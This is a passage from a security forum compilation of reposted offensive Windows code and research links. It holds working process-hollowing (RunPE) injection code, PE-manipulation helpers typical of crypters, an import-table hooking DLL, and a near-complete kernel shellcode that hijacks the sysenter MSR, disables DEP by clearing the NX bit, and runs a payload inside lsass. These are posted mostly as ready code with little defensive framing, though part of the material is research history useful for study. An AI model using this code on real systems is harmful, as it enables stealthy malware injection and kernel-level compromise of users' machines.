CTX->ContextFlags = CONTEXT_FULL; if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) { xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection")); xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); } pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); if (pImageBase) { WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL); for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) { ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40)); WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL); } WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL); CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, LPCONTEXT(CTX)); ResumeThread(PI.hThread); } } } } } VirtualFree(pFile, 0, MEM_RELEASE); } int main() { LPVOID pFile; TCHAR szFilePath[1024]; pFile = FileToMem("C:\\Users\\SCCoder\\Documents\\Visual Studio 2010\\Projects\\MemExecution\\Release\\notepad.exe"); if (pFile) { GetModuleFileNameA(0, LPSTR(szFilePath), 1024); ExecFile(LPSTR(szFilePath), pFile); } return 0; } Sursa: ic0de.org

[C/SRC] RealignPE v2 Author: The Swash /* ----------------------------------------------------------- - Function: RealignPE v2 - - Programmer: The Swash - - Web: http://www.h-sec.org - - Dedicated: Thor, Psymera, Steve10120, [Zero], Karcrack - ----------------------------------------------------------- */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #define ReadWriteBinary "r+b" int AlingNum(int num, int aling); char * BytesAling(int number); int main(void) { printf("%i ",RealignPE("C:\\hi.exe")); getchar(); } int RealignPE(char * lpFile) { IMAGE_DOS_HEADER IDH; IMAGE_FILE_HEADER IFH; IMAGE_OPTIONAL_HEADER IOH; IMAGE_SECTION_HEADER ISH; DWORD PESignature = 0; FILE * lFile; int OriSize = 0; int ActSize = 0; int Alingned = 0; lFile = fopen(lpFile,ReadWriteBinary); if (lFile == NULL) {return -1;} else { fread(&IDH, 64, 1, lFile); fseek(lFile, IDH.e_lfanew , SEEK_SET); fread(&PESignature, 4, 1, lFile); if (IDH.e_magic != IMAGE_DOS_SIGNATURE) {fclose (lFile); return -2;} else { if(PESignature != IMAGE_NT_SIGNATURE) {fclose (lFile); return -3;} else { fseek(lFile, IDH.e_lfanew + 4, SEEK_SET); fread(&IFH, sizeof(IFH), 1, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET); fread(&IOH, IFH.SizeOfOptionalHeader, 1, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET); fread(&ISH, sizeof(ISH), 1, lFile); fseek(lFile, 0, SEEK_END); ActSize = ftell(lFile); OriSize = ISH.PointerToRawData + ISH.SizeOfRawData; if (ActSize - OriSize > 0) { Alingned = AlingNum(ActSize - OriSize, IOH.FileAlignment); ISH.SizeOfRawData += Alingned; ISH.Misc.VirtualSize += Alingned; IOH.SizeOfImage = ISH.Misc.VirtualSize + ISH.VirtualAddress; IOH.SizeOfInitializedData += Alingned; if (ISH.VirtualAddress == IOH.DataDirectory[2].VirtualAddress) { IOH.DataDirectory[2].Size += Alingned; } fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET); fwrite(&IOH, 1, IFH.SizeOfOptionalHeader, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET); fwrite(&ISH, 1, sizeof(ISH), lFile); if (Alingned - (ActSize - OriSize) > 0) { fseek(lFile, ActSize, SEEK_SET); fwrite(BytesAling(Alingned-(ActSize - OriSize)), 1, Alingned-(ActSize - OriSize), lFile); } return 0; } else {return 1;} } } } } int AlingNum(int num, int aling) { if(num % aling == 0) { return num; } else if(num < aling) { return aling; } else { return (num / aling) * aling + aling; } } char * BytesAling(int number) { char * sTemp = (char *) malloc(number + 1); int i; for (i=0; i<number; i++) { sTemp[i] = '\0'; } return sTemp; } Sursa: ic0de.org

[C++] HookMsgBox Author: Xash #include <windows.h> #include <string.h> #include <stdio.h> void HookFunction(char* funcName, LPDWORD function); LPDWORD FoundIAT(char* funcName); int WINAPI HookMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { if(dwReason == DLL_PROCESS_ATTACH) { HookFunction("MessageBoxA", (LPDWORD)&HookMessageBoxA); } return true; } void HookFunction(char* funcName, LPDWORD function) { LPDWORD pOldFunction = FoundIAT(funcName); DWORD accessProtectionValue , accessProtec; int vProtect = VirtualProtect(pOldFunction, sizeof(LPDWORD), PAGE_EXECUTE_READWRITE, &accessProtectionValue); *pOldFunction = (DWORD)function; vProtect = VirtualProtect(pOldFunction, sizeof(LPDWORD), accessProtectionValue, &accessProtec); } int WINAPI HookMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { return MessageBoxA(hWnd, "hi!", "how are you?", uType); } LPDWORD FoundIAT(char* funcName) { DWORD test = 0; LPVOID pMapping = GetModuleHandle(NULL); if (pMapping == NULL) exit(-1); PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER) pMapping; if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE) exit(-1); PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS) ((char*) DosHeader + DosHeader->e_lfanew); if (NtHeaders->Signature != IMAGE_NT_SIGNATURE) exit(-1); PIMAGE_DATA_DIRECTORY DataDirectory = &NtHeaders->OptionalHeader.DataDirectory[1]; // Import symbols PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) ((char*) DosHeader + DataDirectory->VirtualAddress); PIMAGE_THUNK_DATA32 OriginalFirstThunk = (PIMAGE_THUNK_DATA32)((char*) DosHeader + ImportDescriptor->OriginalFirstThunk); while(OriginalFirstThunk != 0) { DWORD name = (DWORD)((char*) pMapping + ImportDescriptor->Name); OriginalFirstThunk = (PIMAGE_THUNK_DATA32)((char*) DosHeader + ImportDescriptor->OriginalFirstThunk); PIMAGE_THUNK_DATA32 FirstThunk = (PIMAGE_THUNK_DATA32)((char*) DosHeader + ImportDescriptor->FirstThunk); while(OriginalFirstThunk->u1.AddressOfData != 0) { PIMAGE_IMPORT_BY_NAME NameImg = (PIMAGE_IMPORT_BY_NAME)((char*) DosHeader + (DWORD)OriginalFirstThunk->u1.AddressOfData); test = (DWORD)OriginalFirstThunk->u1.Function & (DWORD)IMAGE_ORDINAL_FLAG32; if (test == 0) { if(strcmp(funcName, (const char*)NameImg->Name) == 0) { return (LPDWORD)&(FirstThunk->u1.Function); } } OriginalFirstThunk++; FirstThunk++; } ImportDescriptor++; } return 0; } Sursa: ic0de.org

[C++] Remove Base Relocations Author: steve10120 // steve10120@ic0de.org #include <Windows.h> BOOL FileToMem(LPSTR szFilePath, LPVOID &pBuffer, DWORD &dwSize) { BOOL bResult = FALSE; HANDLE hFile; DWORD dwRead; hFile = CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { dwSize = GetFileSize(hFile, NULL); if (dwSize > 0) { pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (pBuffer != NULL) { SetFilePointer(hFile, 0, NULL, FILE_BEGIN); ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL); if (dwRead == dwSize) bResult = TRUE; } } CloseHandle(hFile); } return bResult; } DWORD Align(DWORD dwValue, DWORD dwAlignment) { DWORD dwResult = dwValue; if (dwAlignment > 0) { if ((dwValue % dwAlignment) > 0) dwResult = (dwValue + dwAlignment) - (dwValue % dwAlignment); } return dwResult; } BOOL RemoveBaseRelocations(LPSTR szFilePath, LPSTR szDestPath) { BOOL bResult = FALSE; HANDLE hFile; LPVOID pFile; DWORD dwFileSize; DWORD dwWritten; PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INH; IMAGE_SECTION_HEADER TempISH; IMAGE_SECTION_HEADER DeltaISH; PIMAGE_SECTION_HEADER ISH; WORD wRelocIndex; WORD i; if (FileToMem(szFilePath, pFile, dwFileSize)) { IDH = PIMAGE_DOS_HEADER(pFile); if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); if (INH->Signature == IMAGE_NT_SIGNATURE) { if (INH->OptionalHeader.DataDirectory[5].VirtualAddress > 0) { for (i = 0; i < INH->FileHeader.NumberOfSections; i++) { RtlMoveMemory(&TempISH, LPVOID(DWORD(pFile) + IDH->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader + (i * 40)), 40); if (TempISH.VirtualAddress == INH->OptionalHeader.DataDirectory[5].VirtualAddress) { wRelocIndex = i; break; } } ISH = PIMAGE_SECTION_HEADER(IMAGE_FIRST_SECTION(INH)); for (i = 0; i < INH->FileHeader.NumberOfSections; i++) { if (i > wRelocIndex) RtlMoveMemory(LPVOID(DWORD(ISH) - 40), ISH, 40); ISH++; } RtlZeroMemory(LPVOID(DWORD(ISH) - 40), 40); INH->OptionalHeader.DataDirectory[5].VirtualAddress = 0; INH->OptionalHeader.DataDirectory[5].Size = 0; hFile = CreateFileA(szDestPath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { SetFilePointer(hFile, 0, NULL, FILE_BEGIN); WriteFile(hFile, pFile, INH->OptionalHeader.SizeOfHeaders, &dwWritten, NULL); ISH = PIMAGE_SECTION_HEADER(IMAGE_FIRST_SECTION(INH)); for (i = 0; i < INH->FileHeader.NumberOfSections; i++) { if (ISH->SizeOfRawData > 0) { SetFilePointer(hFile, 0, NULL, FILE_END); WriteFile(hFile, LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, &dwWritten, NULL); } ISH++; } INH->FileHeader.NumberOfSections -= 1; wRelocIndex -= 1; ISH = PIMAGE_SECTION_HEADER(IMAGE_FIRST_SECTION(INH)); for (i = 0; i < INH->FileHeader.NumberOfSections; i++) { if (i > wRelocIndex) { ISH->PointerToRawData -= Align(TempISH.SizeOfRawData, INH->OptionalHeader.FileAlignment); SetFilePointer(hFile, IDH->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader + (i * 40), NULL, FILE_BEGIN); WriteFile(hFile, ISH, 40, &dwWritten, NULL); } if ((i == wRelocIndex) & ((wRelocIndex + 1) < INH->FileHeader.NumberOfSections)) { RtlMoveMemory(&DeltaISH, LPVOID(DWORD(pFile) + IDH->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader + ((i + 1) * 40)), 40); ISH->Misc.VirtualSize = DeltaISH.VirtualAddress - ISH->VirtualAddress; SetFilePointer(hFile, IDH->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader + (i * 40), NULL, FILE_BEGIN); WriteFile(hFile, ISH, 40, &dwWritten, NULL); } ISH++; } ISH--; INH->OptionalHeader.SizeOfImage = ISH->VirtualAddress + ISH->Misc.VirtualSize; INH->FileHeader.Characteristics = INH->FileHeader.Characteristics | IMAGE_FILE_RELOCS_STRIPPED; SetFilePointer(hFile, IDH->e_lfanew, NULL, FILE_BEGIN); WriteFile(hFile, INH, 4 + sizeof(IMAGE_FILE_HEADER) + INH->FileHeader.SizeOfOptionalHeader, &dwWritten, NULL); CloseHandle(hFile); bResult = TRUE; } } } } VirtualFree(pFile, 0, MEM_RELEASE); } return bResult; } Sursa: ic0de.org

Iti dau eu. Ban. Ai cerut un astfel de program stupid si schidic (script-kiddie) in 3 locuri deferite.

Sau: http://www.filetransfer.ro/QsA25R http://www.filetransfer.ro/NXmfRB Sunt filmate cu prostia mea de telefon, se vad si se aud foarte naspa.

The hacker news MAY 2011 - Issue 02 Social Engineering Edition Because there is no PATCH for human STUPIDITY ! Dear Readers As the cyber world rocks the X Generation we here at THE HACKERS NEWS spin the kalidoscope of technology news on its axis . Because of that, I get to warmly and appreciatively welcome you to ISSUE 2 of "THE HACKER NEWS MAGAZINE." THE HACKER NEWS was created from the need for up to date informative and practical hacking news and information. we were spinning from the over 50,000 downloads of the first issue of THE HACKER NEWS MAGAZINE! As Editor, I want you to know that issue 2 will keep you reading and learning from the unique information compiled just for you by security professionals and hackers alike. Not only do we have a tech savvy monthly magazine we also provide hacker news 24 hours a day, 7 days a week. We want you to be the best informed and educated on the web today, tomorrow and well into the future. Thank you for the pleasure of producing this magazine and I look forward to your input and continued interest in THE HACKER NEWS. Sincerely, Mohit Kumar (Chief-in-Editor) 1.) Social Engineering 1 2.) OpSony By Anonymous 11 3.) Anna Hazare 14 4.) Message By Pattie Galle 16 5.) Hacking News 17 6.) Hackers Tools Updates/Download 19 7.) Defacement News 20 8.) Security and Hacking Events 24 9.) Cyber Crime News 26 10.) Linux News 27 11.) Security News 28 12.) Vulnerability News 30 13.) Feedback to THN 32 Download: http://theevilhackerz.com/may-2011.pdf

Bypassing browser memory protections in Windows Vista Over the past several years, Microsoft has implemented a number of memory protection mechanisms with the goal of preventing the reliable exploitation of common software vulnerabilities on the Windows platform. Protection mechanisms such as GS, SafeSEH, DEP and ASLR complicate the exploitation of many memory corruption vulnerabilities. This work explores the limitations of all aforementioned protection mechanisms, specifically focusing on flaws in their implementation in popular browsers on the Windows platform. We demonstrate a variety of exploitation techniques using popular browser plugins such as Flash, Java and .NET that can be used to bypass the protections and achieve reliable remote code execution. Co-authored by Alexander Sotirov and Mark Dowd. This paper was presented at BlackHat USA 2008. Download: http://www.phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections.pdf Source code: http://www.phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections-code.zip Sursa: Bypassing browser memory protections in Windows Vista

A gentle introduction to return-oriented programming By Tim Kornau Hi, As I have promised in my last post I will start a series about return-oriented programming. I start with a short introduction about the topic. The introduction covers the origin of return-oriented programming, describes what return-oriented programming is and ends with a definition of return-oriented programming which I will use in the future posts. I will also take some of the recent discussions on Twitter into account which showed that even though I thought I did my history research pretty well, there were still some mailing list post missing from my time-line. Why do we need return-oriented programming ? Return-oriented programming is a technique which allows an attacker to execute code in the presence of the following defensive measures. Non executable memory segments Code signing Where does return-oriented programming come from ? Return-oriented programming is a recently coined term which describes a technique that has been developed in an iterative process in the security community. The terminology return-oriented programming is used for a subset of techniques which can be referred to as code reuse techniques. To understand where return-oriented programming comes from I show some of the milestones of the techniques history. Buffer overflows were first publicly documented in the Computer Security Technology Planning Study in 1972 (Appendix 1. Incomplete Parameter Checking). To put this in perspective one must remember that even though we now know that this document was published at the time only a small circle of individuals had access to the document then. A buffer overflow is, in the original form, a very simple error that is introduced if a function does not perform proper bounds checking for the accessed memory. Basically this means the function receives more input data than it can store. Assuming that the overflowed buffer was located on the stack, the attacker can now write a certain amount of data onto the stack where other variables and the return address might be located. Therefore the attacker can hijack the control flow of the current process and perform an arbitrary computation. The first major attack which used a buffer overflow as the targeted vulnerability was the Morris worm in 1988. But it was not until the late 90s that major operating systems started to have any protection against buffer overflows. For Microsoft operating systems a form of protection against buffer overflows was only added after the Code-Red and Slammer worms had changed their security mindset in 2004. One of the defensive measures which have been developed to defend against buffer overflows is the option to mark data memory segments as non-executable. This lead to the next evolutionary step towards return-oriented programming. Return-into-library technique The return-into-library technique is the root on which all return-oriented exploit approaches are based. A return-into-library exploit works as follows: After the attacker has hijacked the control flow, a library function he chooses is executed. The attacker has made sure that the stack pointer points into a memory segment he controls. The attacker has set up the data in the memory segment in a way that it provides the right arguments to the library function of his choice. Through this he can execute a function with the needed arguments. The technique of return-into-library exploits was initially presented publicly by Solar Designer in his 1997 posting to the Bugtraq mailing list. In this mail the groundwork for return-into-library exploiting was presented. The next milestone in the development of the technique was the Phrack article by Nergal which summarized the known techniques and broadened the attack vector by introducing esp shifting which allowed unlimited chaining of function calls to be used within return-into-library exploitation. Borrowed code chunks technique With the introduction of hardware-supported non-executable memory segments in combination with the support of 64 Bit CPUs the game changed again and traditional return-into-library exploits ceased to work. This was due to an ABI change which now required that the arguments to a function must be passed in registers rather than on the stack. Stealth developed a new approach that uses chunks of library functions instead of the call to the function itself to still be able to exploit buffer overflows on machines that employed the newly introduced defense. The approach is designed around the idea to locate instruction sequences which pop values from the stack into the right registers for function calls. By using his approach an attacker can use return-into-library exploits with the new ABI. A library which uses this technique in an automated fashion is DEPLib which has been developed by Pablo Sole. This library completely automates the return-oriented approach for Windows operating systems but it lacks support for loops and conditional branches (which is from a practical point of view negligible). Return-oriented programming The return-oriented programming technique broadens the attack vector even further by introducing loops and conditional branches for the return-oriented approach. The first academic work published in the field of return-oriented programming is Hovav Shacham’s ”The Geometry of Innocent Flesh on the Bone: Return-into-libc without function Calls (on the x86)” It describes the two major points which get addressed by return-oriented programming in contrast to the rest of the return-into-library techniques. The return-into-library technique has no support for loops and conditional branching. The removal of functions from libraries does not provide any security against return-oriented programming. For the x86 the approach he uses to find suitable instruction sequences is based on the fact that the x86 uses a variable length instruction set. Therefore it is possible to search for single binary opcodes which alter control flow such as the return instruction (0xC3) and disassemble the binary from this position backwards. Because x86 uses a variable length instruction set the bytes before the return instruction can provide many possible instruction sequences. Shacham also defined the term gadget which describes one useful instruction sequence which performs one useful operation such as addition. One assumption which Shacham made is that he thought a fixed length instruction set would make the application of return-oriented programming unfeasible. This was shown not to be the case by Ryan Roemers work which targeted the SPARC architecture which can be seen as the anti-thesis to the x86 architecture. One change which he needed to incorporate into his gadget set was that only memory could be used to pass information between gadgets. This is due to the way SPARC passes information in registers by shifting the register window. The most practical work which has been published in the field of return-oriented programming is the recent work which targeted the AVC Advantage voting system. This work has provided proof that return-oriented programming is a valid tool for the offensive security researcher as no other technique would have been as useful against the Harvard-type architecture upon which the AVC Advantage is build. What did we learn ? Return-oriented programming is a recently coined term but the underlying technology has a long history which is based on the work of many security researchers. We have started with its roots in return-into-library attacks and showed how it evolved until today. In the next post on return-oriented programming I will explain the first steps of my approach to make return-oriented programming platform independently. Tim Sursa: A gentle introduction to return-oriented programming « blog.zynamics.com

Kernel-mode Payloads on Windows bugcheck, chris@bugcheck.org skape, mmiller@hick.org This paper discusses the theoretical and practical implementations of kernel-mode payloads on Windows. At the time of this writing, kernel-mode research is generally regarded as the realm of a few, but it is hoped that documents such as this one will encourage a thoughtful progression of the subject matter. To that point, this paper will describe some of the general techniques and algorithms that may be useful when implementing kernel-mode payloads. Furthermore, the anatomy of a kernel-mode payload will be broken down into four distinct units, known as payload components, and explained in detail. In the end, the reader should walk away with a concrete understanding of the way in which kernel-mode payloads operate on Windows. Contents 1 Foreword 2 2 Introduction 3 3 General Techniques 5 3.1 Finding Ntoskrnl.exe Base Address . . . . . . . . . . . . . . . . . 5 3.1.1 IDT Scandown . . . . . . . . . . . . . . . . . . . . . . . . 6 3.1.2 KPRCB IdleThread Scandown . . . . . . . . . . . . . . . 7 3.1.3 SYSENTER EIP MSR Scandown . . . . . . . . . . . . . . 7 3.1.4 Known Portable Base Scandown . . . . . . . . . . . . . . 8 3.2 Resolving Symbols . . . . . . . . . . . . . . . . . . . . . . . . . . 8 4 Payload Components 11 4.1 Migration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 4.1.1 Direct IRQL Adjustment . . . . . . . . . . . . . . . . . . 13 4.1.2 System Call MSR/IDT Hooking . . . . . . . . . . . . . . 14 4.1.3 Thread Notify Routine . . . . . . . . . . . . . . . . . . . . 16 4.1.4 Hooking Object Type Initializer Procedures . . . . . . . . 20 4.1.5 Hooking KfRaiseIrql . . . . . . . . . . . . . . . . . . . . . 20 4.2 Stagers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 4.2.1 System Call Return Address Overwrite . . . . . . . . . . 21 4.2.2 Thread APC . . . . . . . . . . . . . . . . . . . . . . . . . 22 4.2.3 User-mode Function Pointer Hook . . . . . . . . . . . . . 23 4.2.4 SharedUserData SystemCall Hook . . . . . . . . . . . . . 23 4.3 Recovery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 4.3.1 Thread Spinning . . . . . . . . . . . . . . . . . . . . . . . 28 4.3.2 Throwing an Exception . . . . . . . . . . . . . . . . . . . 29 4.3.3 Thread Restart . . . . . . . . . . . . . . . . . . . . . . . . 29 4.3.4 Lock Release . . . . . . . . . . . . . . . . . . . . . . . . . 31 4.4 Stages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 5 Conclusion 32 Download: http://www.uninformed.org/?v=3&a=4&t=pdf Online: http://www.uninformed.org/?v=3&a=4

Implementing a Win32 Kernel Shellcode Introduction This blog post will discuss the implementation of a win32 kernel mode shellcode which will deliver an independent user mode payload. Most of the techniques used in this shellcode are discussed in the excellent 2005 paper 'Kernel-mode Payloads on Windows' by bugcheck and skape. The shellcode works against all current Windows kernels and we will see how several assumptions regarding memory locations, can be made in order to both store the kernel mode shellcode as well as disable DEP for the user mode portions. The shellcode will work as follows. After gaining arbitrary code execution we will initially migrate out of the current kernel thread we are executing in by hijacking the sysenter Model Specific Register (MSR). Now whenever a user mode process performs a system call via the sysenter instruction, our kernel mode stager will get control. This stager will determine if it should hijack the user mode threads return address for the system call. If it does our user mode stager will get control and determine if it is executing in a predetermined SYSTEM process. If it is, the kernel mode sysenter hook is removed before finally executing the user mode payload. Should the user mode payload return cleanly, the hijacked user mode thread may resume execution normally. Kernel Mode Migration For our shellcode to work correctly we make several decisions as to where the shellcode will be placed in memory. From within kernel mode we will place our shellcode beginning at address 0xFFDF0400 which resides within the kernels Hardware Abstraction Layer (HAL) memory region. This memory is both writable and executable. It has the extra property of being mapped into the shared user data region (With a WinDbg symbol of SharedUserData, beginning at address 0x7FFE0000) of all user mode processes and as such can also be addressed from user mode using the address 0x7FFE0400 (We advance 0x400 bytes past the beginning of SharedUserData to avoid overwriting the critical information held there). From user mode on a Physical Address Extension (PAE) enabled system this memory will have the NX bit set marking it not executable as shown below in Listing 1. However we can easily overcome this in our kernel mode stager as described later. These addresses are not effected by ASLR and are static across all current versions of Windows. kd> !pte 0xFFDF0400 VA ffdf0400 PDE at 00000000C0603FF0 PTE at 00000000C07FEF80 contains 0000000000127063 contains 0000000000152163 pfn 127 ---DA--KWEV pfn 152 -G-DA—KWEV <- Executable bit is set kd> !pte 0x7FFE0400 VA 7ffe0400 PDE at 00000000C0601FF8 PTE at 00000000C03FFF00 contains 000000003D283867 contains 8000000000152005 pfn 3d283 ---DA--UWEV pfn 152 -------UR-V <- Executable bit is not set To hijack the sysenter MSR as shown below in Listing 2, we first read the value of the current sysenter MSR and save it to a known location so as we can restore it later. As we already know where we will place our kernel mode stager we proceed to set this value as the new sysenter MSR. We then copy our kernel mode stager and user mode stager over to this known location (0xFFDF0400). Finally we place the current kernel thread we are in into a halted state to avoid any stability issues should we instead attempt to either kill the thread or resume the threads execution. ring0_migrate_start: cld cli jmp short ring0_migrate_bounce ring0_migrate_patch: pop esi // pop off ring0_stager_start address // get current sysenter msr (nt!KiFastCallEntry) push 0x176 // SYSENTER_EIP_MSR pop ecx rdmsr // save original sysenter msr (nt!KiFastCallEntry) mov dword [esi+( ring0_stager_data - ring0_stager_start )+0], eax // retrieve the address in kernel memory where we will write the ring0 stager + ring3 code mov edi, dword [esi+( ring0_stager_data - ring0_stager_start )+4] // patch sysenter msr to be our stager mov eax, edi wrmsr // copy over stager to shared memory mov ecx, ( ring3_stager - ring0_stager_start ) rep movsb sti // set interrupt flag ring0_migrate_idle: hlt // Halt this thread to avoid problems. jmp short ring0_migrate_idle ring0_migrate_bounce: call ring0_migrate_patch // call the patch code, pushing the ring0_stager_start address to stack Kernel Mode Staging With both our kernel mode and user mode stagers resident in memory and the sysenter MSR hijacked, our kernel mode stager will get control upon any user mode process issuing a sysenter instruction. The kernel mode stager, shown below in Listing 3, will act as a proxy to the real sysenter function (nt!KiFastCallEntry), first preserving the state of the CPU before performing its actions and then restoring the state of the CPU and returning into the original sysenter function. The kernel mode stager will check to see if the user mode process which issued the system call, is instructing the stager to remove the sysenter MSR hook. The user mode stager, described later, will use this feature before executing the user mode payload. If the sysenter MSR hook is to be removed the address of the original sysenter function is restored to the correct MSR before the kernel mode stager returns. If the hook is not to be removed the kernel mode stager will determine if the return address for the user mode thread that issued the sysenter is to be patched in order to execute the user mode stager. How this is determined is to examine if the user mode return address from the system call is to a single RET instruction (As opposed to a 'RET 4' or 'RET 8' or any other instructions). This is to insure that the user mode stager can resume the hijacked user mode thread correctly if the user mode stager chooses not to execute the user mode payload (e.g. when not running in a SYSTEM process). This works because the user mode stager will also perform a single RET instruction when it is finished. If the kernel mode stager is to hijack the user mode return address, the address of the user mode stager is patched over the original return address held in the user mode threads stack (pointed to by EDX during a sysenter). Finally we must bypass DEP if we are running on a PAE enabled system so that the user mode stager can execute correctly. We can use the CPUID instruction to determine if the current CPU supports the NX bit. If it does we clear the NX bit from the Page Table Entry (PTE) which is associated with the user mode stager. Windows does not use any form of ASLR for the base of either its Page Directories or Tables which begin at 0xC0600000 and 0xC0000000 respectively on PAE enabled systems (Refer to page 771 of 'Windows Internals, Fifth Edition' by Mark Russinovich, David Solomin and Alex Ionescu). Knowing the address of the user mode stager (0x7FFE0400 + the length of the kernel mode stager), we can therefore determine the static address for the corresponding PTE, which will be 0xC03FFF00. By clearing the NX bit in this PTE we can disable DEP protection for the user mode stager. ring0_stager_start: push byte 0 // alloc a dword for the patched return address pushfd // save flags and registers pushad call ring0_stager_eip ring0_stager_eip: pop eax // patch in the real nt!KiFastCallEntry address as our return address mov ebx, dword [eax + ( ring0_stager_data - ring0_stager_eip ) + 0] mov [ esp + 36 ], ebx cmp ecx, 0xDEADC0DE // see if we should remove sysenter hook jne ring0_stager_hook push 0x176 // SYSENTER_EIP_MSR pop ecx mov eax, ebx // set sysenter msr to be the real nt!KiFastCallEntry xor edx, edx wrmsr xor eax, eax // clear eax (the syscall number) so we can continue jmp short ring0_stager_finish ring0_stager_hook: // get the original r3 ret address mov esi, [ edx ] // (edx is the ring3 stack pointer) movzx ebx, byte [ esi ] // determine if the return is to a "ret" cmp bx, 0xC3 // only insert ring3 stager hook if we are to return to a single ret jne short ring0_stager_finish // calculate our r3 address in shared memory mov ebx, dword [eax + ( ring0_stager_data - ring0_stager_eip ) + 8] lea ebx, [ ebx + ring3_start - ring0_stager_start ] mov [ edx ], ebx // patch in our r3 stage as the r3 return address mov eax, 0x80000001 cpuid // detect if NX is present (clobbers eax,ebx,ecx,edx)... and edx, 0x00100000 // bit 20 is the NX bit jz short ring0_stager_finish // modify the correct PTE to make our ring3 stager executable mov edx, 0xC03FFF00 // we can default to this for now add edx, 4 and dword [ edx ], 0x7FFFFFFF // clear the NX bit ring0_stager_finish: popad // restore registers popfd // restore flags ret // return to real nt!KiFastCallEntry ring0_stager_data: dd 0xFFFFFFFF // saved nt!KiFastCallEntry dd 0xFFDF0400 // kernel memory address of stager dd 0x7FFE0400 // shared user memory address of stager User Mode Staging We now have our user mode stager executing in every thread in the system that issues a system call which returns to a single RET instruction. We examine the file path held in the Process Environment Block (PEB) of the current process to see if we are executing in a process which should be running with SYSTEM privileges. If we are not running in such a process the user mode stager will simply return, resuming the current threads execution correctly. If we are executing in a privileged process we proceed to issue a special system call in order to instruct the kernel mode stager to remove the sysenter hook. We then execute the user mode payload. ring3_start: pushad push byte 0x30 pop eax cdq // zero edx mov ebx, [ fs : eax ] // get the PEB cmp [ ebx + 0xC ], edx jz ring3_finish mov eax, [ ebx + 0x10 ] // get pointer to the ProcessParameters mov eax, [ eax + 0x3C ] // get the current processes ImagePathName // advance past '*:\windows\system32\' add eax, byte 0x28 // (we assume this as we want a system process). // compute a simple hash of the name (skapes technique). mov ecx, [ eax ] // get first 2 wide chars of name 'l\x00s\x00' add ecx, [ eax + 0x3 ] // and add '\x00a\x00s' cmp ecx, 'lass' // check the hash, default to hash('lsass.exe') // if we are not in the correct process, return to real caller. jne ring3_finish // otherwise we first remove our ring0 sysenter hook. call ring3_cleanup // and then call the real ring3 payload. call ring3_stager // should the payload return we can resume this thread correctly. jmp ring3_finish ring3_cleanup: mov ecx, 0xDEADC0DE // set the magic value for ecx mov edx, esp // save our esp in edx for sysenter sysenter // now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller). ring3_finish: popad ret // return to the original system calls caller ring3_stager: // ...ring3 payload here... ret Mitigation's Several mitigation's could be made in the kernel to make this type of shellcode unviable, although once arbitrary code execution has been gained mitigation's usually act more as an obstacle rather then being truly preventative. Both the Page Directories and Page Tables could have some form of ASLR employed so as determining Page Table Entries would be non trivial. This would help ensure DEP could not be 